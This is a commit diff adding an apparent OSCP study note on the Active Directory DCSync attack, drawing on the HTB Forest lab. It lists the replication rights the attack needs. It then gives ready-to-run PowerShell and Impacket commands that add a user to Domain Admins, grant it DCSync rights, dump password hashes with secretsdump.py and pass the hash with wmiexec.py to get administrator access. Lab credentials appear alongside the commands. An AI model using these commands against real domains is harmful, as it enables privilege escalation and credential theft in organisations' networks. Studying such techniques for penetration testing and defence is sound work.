first commit

Windows/Active Directory for OSCP/Permission Move/DC Sync.md

@@ -0,0 +1,26 @@
+Port 49667, 445, 135 is used for DC Sync attack
+
+## Enumeration (PowerView)
+
+## Permission needed for DCSync
+1. Replicating Directory Changes ([DS-Replication-Get-Changes](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes))
+
+2. Replicating Directory Changes All ([DS-Replication-Get-Changes-All](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all))
+
+3. Replicating Directory Changes In Filtered Set ([DS-Replication-Get-Changes-In-Filtered-Set](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set)) (this one isn’t always needed but we can add it just in case)
+
+`Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -eq 'leon'}
+`One-Liner that will transfer our `owned user` to `“Exchange Windows Permissions”` and we become part of the `DCSync` and `WriteDacl permissions` and then fetch hash with [secretsdump.py](http://secretsdump.py)
+`
+`Reference:
+[HTB: Forest | 0xdf hacks stuff](https://0xdf.gitlab.io/2020/03/21/htb-forest.html)
+```sh
+# Toss up PowerView before running the One-Liner that will give us the DCSync rights.
+Add-DomainGroupMember -Identity 'Domain Admins' -Members wario; $username = "medtech.com\\wario"; $password = "Mushroom!"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'wario' -TargetIdentity 'medtech.com\\Domain Admins' -Rights DCSync
+
+# Check if user got added to the group with GenericAll Permission
+net group "Exchange Windows Permissions"
+secretsdump.py svc-alfresco:s3rvice@<ip>
+# Passing the hash
+wmiexec.py -hashes <hash> htb.local/administrator@<ip>
+```